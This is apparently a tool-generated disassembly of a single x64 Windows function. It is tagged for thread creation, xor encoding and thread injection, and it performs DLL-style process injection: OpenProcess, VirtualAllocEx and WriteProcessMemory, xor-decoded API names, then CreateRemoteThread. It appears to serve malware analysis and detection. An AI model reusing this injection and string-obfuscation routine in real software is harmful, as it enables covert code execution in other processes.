Function at 0x140048cd0
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x1400e1098]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rdx
mov r8d, ecx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140049145
mov qword [rsp + 0xb0], rbx
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x80], rbp
nop
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140048d20
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
lea r8, [rbx + 1]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
mov rcx, rdi
test rax, rax
je 0x14004912d
lea r9, [rbx + 1]
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140049115
mov eax, dword [0x1400cee08]
xor r8d, r8d
movsd xmm0, qword [str.WXwU_L28]
mov r10d, dword [reloc.WS2_32.dll_accept]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1400cee0c]
lea ebx, [r8 + 0x1f]
movaps xmmword [rsp + 0x70], xmm6
lea r11d, [r8 + 5]
movsd qword [rsp + 0x50], xmm0
mov byte [rsp + 0x5c], al
cmp r10d, 2
jl 0x140048ec5
movdqa xmm2, xmmword [0x1400cf3f0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400cf400]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400cf540]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r11d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400cf410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.WXwU_L28]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cf450]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.7777777777777777]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x50], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400cf410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cf450]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.7777777777777777]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140048ed0
mov eax, dword [0x1400ceb90]
xor ecx, ecx
movsd xmm0, qword [str._KTP]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400ceb94]
mov byte [rsp + 0x4c], al
movsd qword [rsp + 0x40], xmm0
cmp r10d, 2
jl 0x140049041
movdqa xmm2, xmmword [0x1400cf3f0]
mov ecx, 8
movdqa xmm3, xmmword [0x1400cf400]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400cf540]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r11d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400cf410]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cf450]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._KTP]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x40], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400cf410]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cf450]
movd xmm1, dword [rsp + 0x44]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movaps xmm6, xmmword [rsp + 0x70]
lea r8, [rsp + 0x40]
movsxd rax, ecx
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x140049060
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140049115
mov qword [rsp + 0x30], 0
mov r9, rax
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140049115
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140049135
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400b4cb0
add rsp, 0x88
pop rdi
pop rsi
ret